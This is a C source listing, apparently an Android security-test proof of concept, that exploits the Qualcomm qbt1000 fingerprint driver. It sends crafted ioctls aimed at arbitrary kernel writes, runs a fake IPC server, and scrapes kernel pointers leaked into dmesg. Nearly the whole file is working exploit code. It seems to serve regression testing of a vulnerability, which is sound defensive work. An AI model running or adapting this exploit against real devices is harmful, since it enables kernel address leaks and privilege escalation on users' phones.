• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define _GNU_SOURCE
18 #include <sys/types.h>
19 #include <sys/wait.h>
20 #include <unistd.h>
21 #include <sys/klog.h>
22 
23 #include <errno.h>
24 #include <fcntl.h>
25 #include <pthread.h>
26 #include <stdbool.h>
27 #include <stdio.h>
28 #include <stdlib.h>
29 #include <string.h>
30 #include <sys/ioctl.h>
31 #include <sys/socket.h>
32 #include <sys/stat.h>
33 #include <sys/types.h>
34 #include <sys/types.h> /* See NOTES */
35 
36 static const char *dev = "/dev/qbt1000";
37 
38 #define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
39 #define QBT1000_SNS_SERVICE_VER_ID 1
40 #define QBT1000_SNS_INSTANCE_INST_ID 0
41 
42 #define SNS_QFP_OPEN_RESP_V01 0x0020
43 
44 #define QMI_REQUEST_CONTROL_FLAG 0x00
45 #define QMI_RESPONSE_CONTROL_FLAG 0x02
46 #define QMI_INDICATION_CONTROL_FLAG 0x04
47 #define QMI_HEADER_SIZE 7
48 
49 #define OPTIONAL_TLV_TYPE_START 0x10
50 
51 enum elem_type {
52   QMI_OPT_FLAG = 1,
53   QMI_DATA_LEN,
54   QMI_UNSIGNED_1_BYTE,
55   QMI_UNSIGNED_2_BYTE,
56   QMI_UNSIGNED_4_BYTE,
57   QMI_UNSIGNED_8_BYTE,
58   QMI_SIGNED_2_BYTE_ENUM,
59   QMI_SIGNED_4_BYTE_ENUM,
60   QMI_STRUCT,
61   QMI_STRING,
62   QMI_EOTI,
63 };
64 
65 volatile int cont = 1;
66 
67 struct qmi_header {
68   unsigned char cntl_flag;
69   uint16_t txn_id;
70   uint16_t msg_id;
71   uint16_t msg_len;
72 } __attribute__((__packed__));
73 
74 struct qseecom_handle {
75   void *dev;           /* in/out */
76   unsigned char *sbuf; /* in/out */
77   uint32_t sbuf_len;   /* in/out */
78 };
79 
80 enum qbt1000_commands {
81   QBT1000_LOAD_APP = 100,
82   QBT1000_UNLOAD_APP = 101,
83   QBT1000_SEND_TZCMD = 102
84 };
85 
86 struct qbt1000_app {
87   struct qseecom_handle **app_handle;
88   char name[32];
89   uint32_t size;
90   uint8_t high_band_width;
91 };
92 
93 struct qbt1000_send_tz_cmd {
94   struct qseecom_handle *app_handle;
95   uint8_t *req_buf;
96   uint32_t req_buf_len;
97   uint8_t *rsp_buf;
98   uint32_t rsp_buf_len;
99 };
100 
101 struct msm_ipc_port_addr {
102   uint32_t node_id;
103   uint32_t port_id;
104 };
105 
106 struct msm_ipc_port_name {
107   uint32_t service;
108   uint32_t instance;
109 };
110 
111 struct msm_ipc_addr {
112   unsigned char addrtype;
113   union {
114     struct msm_ipc_port_addr port_addr;
115     struct msm_ipc_port_name port_name;
116   } addr;
117 };
118 
119 /*
120  * Socket API
121  */
122 
123 #define AF_MSM_IPC 27
124 
125 #define PF_MSM_IPCAF_MSM_IPC
126 
127 #define MSM_IPC_ADDR_NAME 1
128 #define MSM_IPC_ADDR_ID 2
129 
130 struct sockaddr_msm_ipc {
131   unsigned short family;
132   struct msm_ipc_addr address;
133   unsigned char reserved;
134 };
135 
136 struct qbt1000_app app = {0};
137 
get_fd(const char * dev_node)138 static int get_fd(const char *dev_node) {
139   int fd;
140   fd = open(dev_node, O_RDWR);
141   if (fd < 0) {
142     cont = 0;
143     exit(EXIT_FAILURE);
144   }
145 
146   return fd;
147 }
148 
leak_heap_ptr(int fd)149 static void leak_heap_ptr(int fd) {
150   void *addr = NULL;
151   app.app_handle = (void *)&addr;
152   app.size = 32;
153   ioctl(fd, QBT1000_LOAD_APP, &app);
154 }
155 
arb_kernel_write_load_app(int fd)156 static void arb_kernel_write_load_app(int fd) {
157   struct qbt1000_app app = {0};
158 
159   app.app_handle = (void *)0xABADACCE55013337;
160   ioctl(fd, QBT1000_LOAD_APP, &app);
161 }
162 
arb_kernel_write_send_tzcmd(int fd)163 static void arb_kernel_write_send_tzcmd(int fd) {
164   struct qseecom_handle hdl = {0};
165   struct qbt1000_send_tz_cmd cmd = {0};
166   int x = 0;
167 
168   hdl.sbuf =
169       (void
170            *)0xffffffc0017b1b84;  // malloc(4096);//(void *) 0xABADACCE55000000;
171   cmd.app_handle = &hdl;
172   cmd.req_buf = &x;
173   cmd.rsp_buf = NULL;  // malloc(4096);
174   cmd.req_buf_len = cmd.rsp_buf_len = 4;
175 
176   ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
177 }
178 
recv_msgs(int fd)179 static void recv_msgs(int fd) {
180   struct msghdr msg = {0};
181   struct iovec io = {0};
182   struct sockaddr_msm_ipc addr = {0};
183   struct msm_ipc_addr address = {0};
184   uint8_t *ptr;
185   struct qmi_header *hdr;
186   int count = 1;
187 
188   io.iov_base = malloc(4096);
189   memset(io.iov_base, 0, 4096);
190   io.iov_len = 4096;
191 
192   msg.msg_iovlen = 1;
193   msg.msg_iov = &io;
194   msg.msg_name = &addr;
195   msg.msg_namelen = sizeof(addr);
196 
197   for (int i = 0; i < 1000; i++) {
198     recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
199     memset(io.iov_base, 0, 128);
200     hdr = io.iov_base;
201 
202     hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
203     hdr->txn_id = count++;
204     hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
205     hdr->msg_len = 3;
206 
207     ptr = io.iov_base + sizeof(*hdr);
208 
209     *ptr = OPTIONAL_TLV_TYPE_START;
210     ptr++;
211     *ptr = 0;
212     ptr++;
213     *ptr = 0;
214     sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
215   }
216 }
217 
218 #define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
setup_ipc_server(void)219 static void setup_ipc_server(void) {
220   int fd;
221   struct sockaddr_msm_ipc addr = {0};
222   fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
223 
224   if (fd < 0) {
225     exit(EXIT_FAILURE);
226   }
227 
228   addr.family = AF_MSM_IPC;
229   addr.address.addrtype = MSM_IPC_ADDR_NAME;
230   addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
231   addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
232       QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
233 
234   bind(fd, (struct sockaddr *)&addr, sizeof(addr));
235   recv_msgs(fd);
236   return;
237 }
238 
leak_ptr(void * ignore)239 static void *leak_ptr(void *ignore) {
240   void *save;
241   for (int i = 0; i < 1000; i++) {
242     if (app.app_handle != NULL) {
243       save = *app.app_handle;
244       if (save != NULL) {
245         break;
246       }
247     }
248   }
249   return 0;
250 }
251 
do_ipc_crap(void * ignore)252 static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
253 
main2()254 int main2() {
255   int i;
256   int fd = open("/dev/qbt1000", O_RDWR);
257   if (fd < 0) {
258     return 1;
259   }
260 
261   struct qbt1000_app app;
262 
263   unsigned char *line = malloc(4096);
264   memset(line, 0, 4096);
265 
266 try_again:
267   system("dmesg -c");
268 
269   memset(&app, 0x41, sizeof(app));
270 
271   app.app_handle = malloc(64);
272   if (!app.app_handle) {
273     close(fd);
274     return 1;
275   }
276 
277   ioctl(fd, QBT1000_LOAD_APP, &app);
278 
279   free(app.app_handle);
280   unsigned offset;
281   unsigned bytes_leaked;
282   unsigned char leaked_bytes[256];
283   unsigned idle;
284   pid_t child;
285 
286   memset(line, 0, 4096);
287   offset = 0;
288   bytes_leaked = 0;
289   idle = 0;
290   memset(leaked_bytes, 0, sizeof(leaked_bytes));
291   while (!strchr(line, '\n')) {
292     if (klogctl(9, NULL, 0))
293       offset += klogctl(2, &line[offset], 4096);
294     else
295       idle++;
296     if (idle > 1000) return 0;
297   }
298 
299   char *inv = strstr(line, "qbt1000_ioctl:");
300   if (!inv) return 0;
301   inv = strstr(inv, "App ");
302   if (!inv) return 0;
303   inv += 4;  // go past "App"
304   char *a;
305   a = strchr(inv, 'A');
306   if (!a) return 0;
307 
308   // keep going until no more A's
309   while (*a++ == 'A')
310     ;
311 
312   int keep_going = 1;
313   while (*a != '\n' && *a != '\0') {
314     leaked_bytes[bytes_leaked++] = *a++;
315   }
316 
317   if (bytes_leaked < 7) {
318     goto fork_it;
319   }
320 
321 #define KERN_ADDR 0xffffffc000000000
322   // let's do some post-processing to see if we got some pointers
323   for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
324     size_t *c = (size_t *)(&leaked_bytes[i]);
325     if ((*c & KERN_ADDR) == KERN_ADDR) {
326       printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
327       keep_going = 0;
328     }
329   }
330 
331   bytes_leaked = 0;
332   memset(leaked_bytes, 0, sizeof(leaked_bytes));
333 
334   if (keep_going) {
335   fork_it:
336     usleep(10000);
337     child = fork();
338     if (child == 0) {
339       return 0;
340     } else {
341       while (child = waitpid(-1, NULL, 0)) {
342         if (errno == ECHILD) break;
343       }
344     }
345   }
346 
347   close(fd);
348   free(line);
349   return 0;
350 }
351 
main(void)352 int main(void) {
353   pthread_t ipc;
354   pthread_create(&ipc, NULL, do_ipc_crap, NULL);
355 
356   usleep(50000);
357 
358   main2();
359 }
360